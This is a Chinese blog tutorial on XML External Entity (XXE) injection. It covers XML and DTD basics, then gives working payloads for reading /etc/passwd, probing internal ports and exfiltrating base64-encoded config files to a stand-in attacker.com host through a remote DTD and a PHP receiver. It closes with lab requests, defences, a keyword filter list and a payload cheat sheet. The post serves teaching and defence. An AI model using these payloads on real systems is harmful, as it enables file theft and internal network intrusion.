XXE 外部实体注入

1510 字
8 分钟
XXE 外部实体注入

一、XXE 概述#

1.1 什么是 XXE?#

XXE(XML External Entity Injection,XML 外部实体注入)是一种利用 XML 解析器特性进行攻击的漏洞。

1.2 学习意义#

场景说明
漏扫设备AWVS、XRAY 等漏扫工具 100% 包含 XXE 检测规则
实际工作防守方接触大量安全设备,做监控时需识别 XXE 攻击流量
HW 行动初级人员做监控,会看到大量包含 XXE 的攻击流量

二、XML 基础知识#

2.1 什么是 XML?#

特性说明
全称可扩展标记语言(EXtensible Markup Language)
设计目的传输数据/存储数据(配置文件),而非显示数据
标签未被预定义,需自行定义
特点具有自我描述性

2.2 XML 与 HTML 的区别#

对比HTMLXML
设计目的显示数据传输/存储数据
标签预定义自定义
作用展示内容描述数据

2.3 基础语法#

<?xml version="1.0" encoding="UTF-8"?>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>

2.4 语法规则#

规则说明
必须有根元素如 <note> 是根元素
XML 声明可选<?xml version="1.0"?>
所有元素必须有关闭标签<tag></tag>
标签大小写敏感<Tag> 和 <tag> 不同
必须正确嵌套<a><b></b></a>
属性值必须加引号<img src="a.jpg"/>
空格会被保留不同于 HTML

2.5 命名规则#

  • 可包含字母、数字及其他字符
  • 不能以数字或标点开头
  • 不能以 xml(或 XML、Xml 等)开头
  • 不能包含空格

三、DTD(文档类型定义)#

3.1 什么是 DTD?#

DTD 的作用是定义 XML 文档的合法构建模块。

拥有正确语法的 XML 称为”形式良好”的 XML。 通过 DTD 验证的 XML 称为”合法”的 XML。

3.2 内部 DTD#

DTD 包含在 XML 源文件中:

<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>程咬金</to>
<from>貂蝉</from>
<heading>通知</heading>
<body>今天晚上,大战三百回合!</body>
</note>

元素声明解释:

声明含义
<!DOCTYPE note>此文档是 note 类型
<!ELEMENT note (to,from,heading,body)>note 包含 4 个子元素
<!ELEMENT to (#PCDATA)>to 元素为 PCDATA 类型

3.3 PCDATA vs CDATA#

类型说明
PCDATA会被解析器解析的文本(检查实体和标记)
CDATA不会被解析器解析的文本

3.4 外部 DTD#

DTD 位于 XML 源文件外部:

<!DOCTYPE root-element SYSTEM "filename">

note.dtd:

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

XML 引用:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>周瑜</to>
<from>黄盖</from>
<heading>提示</heading>
<body>老子不服输</body>
</note>

四、DTD 实体#

4.1 内部实体#

<!ENTITY entity-name "entity-value">

示例:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE stu [
<!ELEMENT stu (name, age, address)>
<!ELEMENT name (#PCDATA)>
<!ELEMENT age (#PCDATA)>
<!ELEMENT address (#PCDATA)>
<!ENTITY name "亚瑟">
<!ENTITY age "18">
<!ENTITY address "对抗路">
]>
<stu>
<name>&name;</name>
<age>&age;</age>
<address>&address;</address>
</stu>

💡 实体由三部分构成:& + 实体名称 + 分号(;)

4.2 外部实体(XXE 漏洞核心)#

<!ENTITY entity-name SYSTEM "URI/URL">

示例:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root[
<!ENTITY name SYSTEM "file:///D:/www/xxe/data.txt">
]>
<root>
<username>&name;</username>
</root>

4.3 参数实体#

<!ENTITY % 实体名称 "实体的值">
<!-- 或 -->
<!ENTITY % 实体名称 SYSTEM "URI">

示例:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % name SYSTEM "http://localhost/xxe/test2.php">
%name;
]>

⚠️ 注意: % 和实体名称之间有一个空格! 参数实体只能在 DTD 文件中被引用,其他实体在 XML 文档内引用。


五、XXE 原理#

攻击者构造恶意 XML → 提交到服务器 → 服务器解析 XML →
执行恶意实体引用 → 读取文件/探测内网/发起请求 → 返回结果

5.1 核心危险点#

  • XML 解析器启用了外部实体解析
  • 用户输入的 XML 数据未被过滤
  • 攻击者可以控制 <!ENTITY> 中的 SYSTEM 内容

六、XXE 利用方式#

6.1 支持的协议#

语言支持的协议
libxml2file、http、ftp
PHPfile、http、ftp、php、compress.zlib、compress.bzip2、data、glob、phar
Javafile、http、https、ftp、jar、netdoc、mailto、gopher
.NETfile、http、https、ftp

6.2 文件读取#

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>
<!-- Windows -->
<!ENTITY xxe SYSTEM "file:///C:/windows/win.ini">

6.3 内网探测(XXE + SSRF)#

<!ENTITY xxe SYSTEM "http://127.0.0.1:3306">

根据响应判断端口是否开放。

6.4 引入外部 DTD#

目标服务器 Payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "http://attacker.com/test.dtd">
%file;
]>
<x>&send;</x>

外部 test.dtd:

<!ENTITY send SYSTEM "file:///etc/passwd">

6.5 DNSLog 检测#

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "http://your.dnslog.domain">
]>
<x>&xxe;</x>

6.6 盲注(无回显)数据外带#

攻击流程#

1. 准备参数实体 %file → 读取敏感数据(仅声明,未加载)
2. 准备参数实体 %dtd → 请求远程 remote.dtd(仅声明,未加载)
3. 加载 %dtd → 将 remote.dtd 中的实体包含进来
4. 加载 %send → 请求 http://attacker.com/xxe.php?data=%file
5. %file 被解析 → 数据拼接到 URL 中
6. 数据到达攻击者服务器

攻击者服务器文件#

remote.dtd:

<!ENTITY % payload "<!ENTITY &#x25; send SYSTEM 'http://attacker.com/xxe.php?data=%file;'>">
%payload;

xxe.php:

<?php
file_put_contents('1.txt', $_GET['data']);
?>

目标服务器 Payload:#

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/html/inc/config.inc.php">
<!ENTITY % dtd SYSTEM "http://attacker.com/remote.dtd">
%dtd;
%send;
]>

七、Pikachu 靶场实战#

7.1 文件读取#

POST /xxe/xxe.php
Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>

7.2 内网探测#

<!ENTITY xxe SYSTEM "http://127.0.0.1:3306">

7.3 引入外部 DTD#

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY % file SYSTEM "http://attacker.com/test.dtd">
%file;
]>
<x>&send;</x>

八、XXE 防御#

8.1 禁用外部实体(PHP)#

// 禁用外部实体加载(核心防御)
libxml_disable_entity_loader(true);
// 解析 XML 时指定安全选项
$xml = simplexml_load_string($data, "SimpleXMLElement", LIBXML_NOENT | LIBXML_DTDLOAD);
// 修改为:
$xml = simplexml_load_string($data, "SimpleXMLElement", LIBXML_NONET);

8.2 过滤用户输入的 XML#

过滤关键词:

关键词说明
<!DOCTYPEDTD 声明
<!ENTITY实体声明
SYSTEM外部实体关键字
PUBLIC公共实体关键字
file://文件协议
http://HTTP 协议

8.3 安全配置#

语言防御方法
PHPlibxml_disable_entity_loader(true)
Java禁用外部实体:factory.setFeature("http://xml.org/sax/features/external-general-entities", false)
Pythonlxml.etree.XMLParser(resolve_entities=False)
.NET设置 XmlReaderSettings.ProhibitDtd = true

📌 快速参考卡片#

XML 基本结构#

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!-- DTD 定义(可选) -->
<!ELEMENT root (child)>
<!ENTITY name "value">
]>
<root> <!-- 根元素 -->
<child>&name;</child> <!-- 引用实体 -->
</root>

XXE Payload 速查#

<!-- 读取文件 -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!-- 内网探测 -->
<!ENTITY xxe SYSTEM "http://127.0.0.1:3306">
<!-- DNSLog 检测 -->
<!ENTITY xxe SYSTEM "http://your.dnslog.domain">
<!-- 外部 DTD -->
<!ENTITY % file SYSTEM "http://attacker.com/test.dtd">
<!-- PHP 伪协议读文件(盲注常用) -->
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">

防御速查#

// PHP 核心防御
libxml_disable_entity_loader(true);
// 解析时禁用网络
simplexml_load_string($xml, "SimpleXMLElement", LIBXML_NONET);

XXE 盲注数据外带流程#

目标服务器:
1. %file = 读取敏感数据
2. %dtd = 加载远程 remote.dtd
3. %send = 发送数据到攻击者服务器
攻击者服务器:
remote.dtd → 构造带 %file 的请求
xxe.php → 接收并保存数据

文章分享

如果这篇文章对你有帮助,欢迎分享给更多人!

XXE 外部实体注入
https://blog.emberlag.com/posts/xxe/
作者
3mb3rl4g
发布于
2026-09-22
许可协议
CC BY-NC-SA 4.0

评论区

Profile Image of the Author
3mb3rl4g
一名现实世界的沉默观察员
公告
把零散的思绪归档,我不着急写完,写得慢一点,刚好能让很久以后,还能在此刻的文字里找回共鸣。
分类
标签
最新动态
站点统计
文章
21
分类
2
标签
13
总字数
33,455
运行时长
0 天
最后活动
0 天前
文章目录